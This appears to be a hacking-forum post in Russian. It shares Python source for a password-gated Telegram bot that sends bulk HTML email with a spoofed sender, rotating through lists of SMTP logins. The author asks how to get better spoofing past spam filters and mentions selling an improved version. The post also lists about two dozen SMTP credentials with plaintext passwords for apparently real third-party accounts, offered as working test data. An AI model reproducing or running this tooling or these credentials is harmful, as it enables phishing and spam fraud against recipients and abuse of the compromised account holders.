Выкладываю только для того что бы ребята которые шарят в спуфинге, помогли поправить код.
Бот сейчас работает, но отправляет через раз во входящие, 50% идет в спам.
Бот сейчас работает, но отправляет через раз во входящие, 50% идет в спам.
Этот бот не продается, только усовершенственная версия продается.
Python:
# -*- coding: utf-8 -*-
import logging
from aiogram import Bot, Dispatcher, types
from aiogram.contrib.middlewares.logging import LoggingMiddleware
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Text
from aiogram.dispatcher.filters.state import State, StatesGroup
from aiogram.types import ParseMode, InlineKeyboardMarkup, InlineKeyboardButton, InputFile
from aiogram.utils import executor
import asyncio
import aiofiles
import aiosmtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from typing import List, Dict, Any
# Замените 'YOUR_BOT_TOKEN' на ваш токен бота
API_TOKEN = 'YOUR_BOT_TOKEN''
# Замените 'ADMIN_CHAT_ID' на ID чата администратора
ADMIN_CHAT_ID = 1111111111
# Пароли для доступа к боту (можно менять)
VALID_PASSWORDS = ['xss.pro', 'password2']
logging.basicConfig(level=logging.INFO)
bot = Bot(token=API_TOKEN)
dp = Dispatcher(bot, storage=MemoryStorage())
dp.middleware.setup(LoggingMiddleware())
# Состояния для обработки сообщений
class States(StatesGroup):
START = State()
AUTHORIZATION = State()
WAITING_EMAILS = State()
WAITING_SMTP = State()
WAITING_SUBJECT = State()
WAITING_HTML = State()
SENDING_EMAILS = State()
# Чтение SMTP данных из файла
async def read_smtp_data(file_path: str) -> List[Dict[str, Any]]:
smtp_data = []
async with aiofiles.open(file_path, 'r') as file:
async for line in file:
parts = line.strip().split('|')
if len(parts) == 4:
smtp_data.append({
'server': parts[0],
'port': int(parts[1]),
'username': parts[2],
'password': parts[3]
})
return smtp_data
# Асинхронная отправка письма с переключением на следующий SMTP сервер при ошибке
async def send_email_with_retry(smtp_infos: List[Dict[str, Any]], to_email: str, subject: str, html_content: str) -> bool:
for smtp_info in smtp_infos:
try:
server = aiosmtplib.SMTP(hostname=smtp_info['server'], port=smtp_info['port'], use_tls=True)
await server.connect()
await server.login(smtp_info['username'], smtp_info['password'])
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = "Nick West <google@google.com>" # Здесь задаем кастомное имя отправителя
msg['To'] = "google@google.com"
part = MIMEText(html_content, 'html')
msg.attach(part)
await server.sendmail(smtp_info['username'], to_email, msg.as_string())
await server.quit()
print(f"Email {to_email} успешно отправлен через {smtp_info['server']}")
return True
except Exception as e:
print(f"Error sending email to {to_email} via {smtp_info['server']}: {e}")
return False
# Асинхронная проверка SMTP серверов
async def check_smtp_servers(smtp_data: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
tasks = [check_single_smtp(server) for server in smtp_data]
results = await asyncio.gather(*tasks)
working_smtp = [result for result in results if result is not None]
# Обновление файла с рабочими SMTP серверами
async with aiofiles.open('smtp_data.txt', 'w') as file:
for smtp_info in working_smtp:
await file.write(f"{smtp_info['server']}|{smtp_info['port']}|{smtp_info['username']}|{smtp_info['password']}\n")
return working_smtp
async def check_single_smtp(smtp_info: Dict[str, Any]) -> Dict[str, Any] or None:
try:
server = aiosmtplib.SMTP(hostname=smtp_info['server'], port=smtp_info['port'], use_tls=True)
await server.connect()
await server.login(smtp_info['username'], smtp_info['password'])
await server.quit()
return smtp_info
except Exception as e:
print(f"SMTP {smtp_info['server']} не работает: {e}")
return None
# Ограничение на количество одновременных задач
semaphore = asyncio.Semaphore(50) # Максимальное количество одновременных задач
async def send_email_with_semaphore_and_retry(smtp_infos: List[Dict[str, Any]], to_email: str, subject: str, html_content: str) -> bool:
async with semaphore:
return await send_email_with_retry(smtp_infos, to_email, subject, html_content)
@dp.message_handler(commands=['start'])
async def start(message: types.Message, state: FSMContext):
chat_id = message.chat.id
logging.info(f"User [{chat_id}] started the bot.")
markup = InlineKeyboardMarkup(row_width=2)
developer_button = InlineKeyboardButton("Разработчик", url="https://t.me/Xploit_V1rus")
forum_button = InlineKeyboardButton("Наш форум", url="https://xss.pro/")
get_password_button = InlineKeyboardButton("Хочу пароль", callback_data='get_password')
markup.add(developer_button, forum_button, get_password_button)
await bot.send_photo(
chat_id,
"https://na-sha.ru/data/assets/logo/Hacker_Loop.gif",
caption=(
"Добро пожаловать! 🥷\n\n"
"Наш бот выполняет рассылку электронных писем. \n"
"Чтобы получить доступ к боту, вам нужно иметь пароль"
),
reply_markup=markup
)
await state.finish() # Сброс состояния перед началом нового цикла
await States.START.set()
@dp.callback_query_handler(lambda c: c.data == 'get_password', state=States.START)
async def get_password(callback_query: types.CallbackQuery):
await bot.answer_callback_query(callback_query.id)
await bot.send_message(callback_query.message.chat.id, "Для получения пароля обратитесь к разработчику @Xploit_V1rus")
@dp.message_handler(state=States.START)
async def authorize_user(message: types.Message, state: FSMContext):
chat_id = message.chat.id
user_state = await state.get_state()
logging.info(f"User [{chat_id}] state: {user_state}, received password: {message.text}")
if message.text in VALID_PASSWORDS:
await state.update_data(password=message.text)
await bot.send_photo(
chat_id,
"https://na-sha.ru/data/assets/logo/Hacker_Loop.gif",
caption=(
"Вы успешно авторизованы!\n\n"
"Теперь вы можете начать работу с ботом.\n"
"Пришлите файл с адресами электронной почты."
)
)
await States.WAITING_EMAILS.set()
else:
await bot.send_message(chat_id, "Неверный пароль. Попробуйте снова или получите правильный пароль у разработчика.")
@dp.message_handler(content_types=types.ContentType.DOCUMENT, state=States.WAITING_EMAILS)
async def handle_docs(message: types.Message, state: FSMContext):
chat_id = message.chat.id
user_state = await state.get_state()
logging.info(f"User [{chat_id}] state: {user_state}, received document.")
file_info = message.document
downloaded_file = await bot.download_file_by_id(file_info.file_id)
file_name = file_info.file_name
if not file_name.endswith('.txt'):
await bot.send_message(chat_id, "Вы прислали неправильный файл. Пожалуйста, отправьте файл с расширением .txt.")
return
with open('emails.txt', 'wb') as new_file:
new_file.write(downloaded_file.read())
await bot.send_message(chat_id, "Проверка файла...")
async with aiofiles.open('emails.txt', 'r') as file:
content = await file.read()
if '\n' in content:
emails = content.split('\n')
else:
emails = content.split(',')
emails = [email.strip() for email in emails if email.strip()]
valid_emails = emails # Используем все адреса без проверки формата
if not emails:
await bot.send_message(chat_id, "Файл пустой или не содержит почты.")
else:
await state.update_data(emails=valid_emails)
await bot.send_message(chat_id, f"Файл проверен успешно. Всего {len(valid_emails)} адресов электронной почты.")
await bot.send_message(chat_id, "Теперь пришли файл с SMTP данными.")
await States.WAITING_SMTP.set()
@dp.message_handler(content_types=types.ContentType.DOCUMENT, state=States.WAITING_SMTP)
async def handle_smtp_docs(message: types.Message, state: FSMContext):
chat_id = message.chat.id
user_state = await state.get_state()
logging.info(f"User [{chat_id}] state: {user_state}, received document.")
file_info = message.document
downloaded_file = await bot.download_file_by_id(file_info.file_id)
file_name = file_info.file_name
if not file_name.endswith('.txt'):
await bot.send_message(chat_id, "Вы прислали неправильный файл. Пожалуйста, отправьте файл с расширением .txt.")
return
with open('smtp_data.txt', 'wb') as new_file:
new_file.write(downloaded_file.read())
await bot.send_message(chat_id, "Проверка SMTP серверов...")
smtp_data = await read_smtp_data('smtp_data.txt')
working_smtp = await check_smtp_servers(smtp_data)
if len(working_smtp) < 1:
await bot.send_message(chat_id, "На данный момент сервис недоступен. Пожалуйста, попробуйте позже.")
await bot.send_message(ADMIN_CHAT_ID, "SMTP серверы нужно пополнить!")
return
await bot.send_document(chat_id, InputFile('smtp_data.txt'), caption=f"Проверка SMTP серверов завершена. Рабочих серверов: {len(working_smtp)}.")
await bot.send_message(chat_id, "Теперь пришли тему письма.")
await state.update_data(smtp=working_smtp)
await States.WAITING_SUBJECT.set()
@dp.message_handler(state=States.WAITING_SUBJECT)
async def handle_subject(message: types.Message, state: FSMContext):
chat_id = message.chat.id
user_state = await state.get_state()
logging.info(f"User [{chat_id}] state: {user_state}, received subject: {message.text}")
await state.update_data(subject=message.text)
await bot.send_message(chat_id, "Тема письма получена. Теперь пришли HTML-контент письма.")
await States.WAITING_HTML.set()
@dp.message_handler(state=States.WAITING_HTML)
async def handle_html(message: types.Message, state: FSMContext):
chat_id = message.chat.id
user_state = await state.get_state()
logging.info(f"User [{chat_id}] state: {user_state}, received HTML content.")
await state.update_data(html_content=message.text)
user_data = await state.get_data()
emails = user_data['emails']
subject = user_data['subject']
html_content = message.text
working_smtp = user_data['smtp']
await bot.send_message(chat_id, "Начинаю рассылку писем. Ожидайте...")
success_count = 0
fail_count = 0
log_messages = []
total_emails = len(emails)
for i, email in enumerate(emails):
sent = False
for smtp_info in working_smtp:
if await send_email_with_semaphore_and_retry(working_smtp, email, subject, html_content):
success_count += 1
log_messages.append(f"Email {email} успешно отправлен через {smtp_info['server']}.")
await bot.send_message(chat_id, f"Email {email} успешно отправлен через {smtp_info['server']}.")
sent = True
break
if not sent:
fail_count += 1
log_messages.append(f"Не удалось отправить email {email} через все доступные SMTP серверы.")
await bot.send_message(chat_id, f"Не удалось отправить email {email} через все доступные SMTP серверы.")
log_message = "\n".join(log_messages)
result_message = f"Рассылка завершена.\nОтправлено {success_count} писем.\nНе отправлено {fail_count} писем."
markup = InlineKeyboardMarkup(row_width=2)
subscribe_button = InlineKeyboardButton("Наш чат", url="https://t.me/+aY9gajdCs6EwY2Ey")
forum_button = InlineKeyboardButton("Наш форум", url="https://xss.pro/")
resend_button = InlineKeyboardButton("Послать еще раз", callback_data='resend')
markup.add(subscribe_button, forum_button, resend_button)
await bot.send_message(chat_id, result_message + "\n\n" + log_message, reply_markup=markup)
await state.finish()
@dp.callback_query_handler(lambda c: c.data == 'resend')
async def process_resend(callback_query: types.CallbackQuery):
chat_id = callback_query.message.chat.id
logging.info(f"User [{chat_id}] requested to resend emails.")
await bot.answer_callback_query(callback_query.id)
await bot.send_message(chat_id, "Привет! Пришли файл с почтами.")
await States.WAITING_EMAILS.set()
async def on_startup(dp):
try:
me = await bot.get_me()
print(f"Bot @{me.username} is authorized")
except Exception as e:
print(f"Failed to authorize bot: {e}")
if __name__ == '__main__':
logging.info("Starting bot polling...")
executor.start_polling(dp, skip_updates=True, on_startup=on_startup)
Первое установим зависимости.
Для тех кто не знает
Хотя да трудно будет объяснить для тех кто не знает
идем дальше, что в коде поменять нужно.
Естественно это ставим ваш токен от бота.
Потом id ваш, для того что бы оповещения приходили, я на будущее сделал эту функцию, так как буду улучшать бота.
Так же тебе нужно поменять msg['From'] = и msg['To'] на свои данные, смотри как у меня.
Ну вот и все, можете запускать бота, и начинать тестировать.
Версия python 3.9.18
Python:
aiogram==2.25
aiosmtplib
aiofiles
Python:
pip install aiogram==2.25
Python:
pip install aiosmtplib
Python:
pip install aiofiles
Естественно это ставим ваш токен от бота.
Python:
API_TOKEN = 'YOUR_BOT_TOKEN'
Потом id ваш, для того что бы оповещения приходили, я на будущее сделал эту функцию, так как буду улучшать бота.
Python:
ADMIN_CHAT_ID = 1111111111
Так же тебе нужно поменять msg['From'] = и msg['To'] на свои данные, смотри как у меня.
Python:
msg['From'] = "Nick West <google@google.com>" # Здесь задаем имя отправителя
msg['To'] = "google@google.com" # Здесь задаем email отправителя
Ну вот и все, можете запускать бота, и начинать тестировать.
Версия python 3.9.18
Дам для теста немного вам рабочих SMTP в бота загружать txt файлом только, как и почты.
Почты должны быть тоже в txt файле, и идти в ряд, пример
xss.pro@xss.pro
xss.pro@xss.pro
PHP:
smtp.gmail.com|465|casey.toh@student.citrakasih.sch.id|RW%Z3%aK
smtp.iran.ir|465|masoud_ghorbany@iran.ir|Mm09123123178
mail.vpro.com.tr|465|ugurbaris.atalayin@vpro.com.tr|E42BC44C
smtp.af.em-net.ne.jp|465|jcsjw882@af.em-net.ne.jp|416220
smtp.stofanet.dk|465|kim64@stofanet.dk|Smeden1964
smtp.ag.em-net.ne.jp|465|takatsu@ag.em-net.ne.jp|oceano06
smtp.rr.em-net.ne.jp|465|fukumasa21@rr.em-net.ne.jp|522390
smtp.stofanet.dk|465|karinkjaergaard@stofanet.dk|Ladyhunden1?
smtp.ad.em-net.ne.jp|465|m-kaoru@ad.em-net.ne.jp|35cdkmrx
smtp.gmail.com|465|4011473@student.upperdarbysd.org|3KZUC5n4
smtp.iran.ir|465|masoud_ghorbany@iran.ir|Mm09123123178
smtp.gmail.com|465|casey.toh@student.citrakasih.sch.id|RW%Z3%aK
smtp.gmail.com|465|4011473@student.upperdarbysd.org|3KZUC5n4
smtp.gmail.com|465|casey.toh@student.citrakasih.sch.id|RW%Z3%aK
smtp.iran.ir|465|masoud_ghorbany@iran.ir|Mm09123123178
mail.vpro.com.tr|465|ugurbaris.atalayin@vpro.com.tr|E42BC44C
smtp.af.em-net.ne.jp|465|jcsjw882@af.em-net.ne.jp|416220
smtp.ag.em-net.ne.jp|465|takatsu@ag.em-net.ne.jp|oceano06
smtp.rr.em-net.ne.jp|465|fukumasa21@rr.em-net.ne.jp|522390
smtp.ad.em-net.ne.jp|465|m-kaoru@ad.em-net.ne.jp|35cdkmrx
mail.vpro.com.tr|465|ugurbaris.atalayin@vpro.com.tr|E42BC44C
smtp.af.em-net.ne.jp|465|jcsjw882@af.em-net.ne.jp|416220
smtp.stofanet.dk|465|kim64@stofanet.dk|Smeden1964
smtp.ag.em-net.ne.jp|465|takatsu@ag.em-net.ne.jp|oceano06
smtp.rr.em-net.ne.jp|465|fukumasa21@rr.em-net.ne.jp|522390
smtp.ad.em-net.ne.jp|465|m-kaoru@ad.em-net.ne.jp|35cdkmrx
Почты должны быть тоже в txt файле, и идти в ряд, пример
xss.pro@xss.pro
xss.pro@xss.pro
Для знающих, как можно его усовершенствовать что бы нормально шли сообщения, не в спам, так как сейчас с подменой, большая часть идет в спам.
Будет желания на кофе и сигареты закинуть пару $ вот usdt trc20 TFoXm9zDFKqvkWT3Fm9sR6WrDKbDKyhgC8
Будет желания на кофе и сигареты закинуть пару $ вот usdt trc20 TFoXm9zDFKqvkWT3Fm9sR6WrDKbDKyhgC8